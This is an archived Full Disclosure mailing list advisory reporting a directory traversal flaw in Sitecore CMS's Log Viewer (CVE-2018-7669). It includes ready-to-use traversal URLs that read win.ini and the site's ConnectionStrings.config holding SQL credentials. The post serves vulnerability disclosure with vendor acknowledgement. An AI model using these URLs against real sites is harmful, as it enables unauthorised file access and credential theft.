full-disclosure - [FD] Sitecore Directory Traversal Vulnerability

Open Source and information security mailing list archives

Message-ID: <iDn3lAU4sedHoFfR0e6tYVJ1Z0UK7V4GJoblbODt3CWF9tCI9uCnaaR0C8c92YAi5Kqe51X41U5SoOlESJ3F4gXLYSlwNKcrVaiayeEEGVM=@mailchris.com>
Date: Mon, 23 Apr 2018 17:16:38 -0400
From: Chris <chris@...lchris.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Sitecore Directory Traversal Vulnerability

Sitecore Directory Traversal Vulnerability
CVE-2018-7669 (reserved)

An issue was discovered in Sitecore CMS that affects at least
'Sitecore.NET 8.1' rev. 151207 Hotfix 141178-1 and above. The 'Log Viewer'
application is vulnerable to a directory traversal attack, allowing an attacker
to access arbitrary files from the host Operating System using a
'sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=' URI. Validation
is performed to ensure that the text passed to the 'file' parameter correlates
to the correct log file directory. This filter can be bypassed by including a
valid log filename and then appending a traditional 'dot dot' style attack.

[Steps to Reproduce]
The 'Log Viewer' application renders log files from the local filesystem inside
the web browser using a URL like the following:
http://<website>/sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=

The following URL can be used to validate the vulnerability by accessing the
win.ini file on a Windows host (remove line breaks):
http://<website>/sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=
c%3a%5cwebsites%5c<website>%5cdata%5clogs%5<valid log file>.txt\
..\..\..\..\..\windows\win.ini

The following URL can be used to access the application's configuration file
containing SQL login credentials (remove line breaks):
http://<website>/sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=
c%3a%5cwebsites%5c<website>%5cdata%5clogs%5c<valid log file>.txt\
..\..\..\Website\App_Config\ConnectionStrings.config

Both of the above URLs are dependent on the application's configuration and
must be modified to correct the <website> and <valid log file> portion.

[Additional Information]
Vendor confirmed receipt of the vulnerability and stated a fix was in progress.
Vendor acknowledgement: https://kb.sitecore.net/articles/356221

------------------------------------------

[Vulnerability Type]
Directory Traversal

------------------------------------------

[Vendor of Product]
Sitecore

------------------------------------------

[Affected Product Code Base]
CMS - 8.1 and up (earlier versions untested)

------------------------------------------

[Attack Type]
Remote

------------------------------------------

[Impact Information Disclosure]
true

------------------------------------------

[Has vendor confirmed or acknowledged the vulnerability?]
true

------------------------------------------

[Discoverer]
Chris Moberly @ The Missing Link Security

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives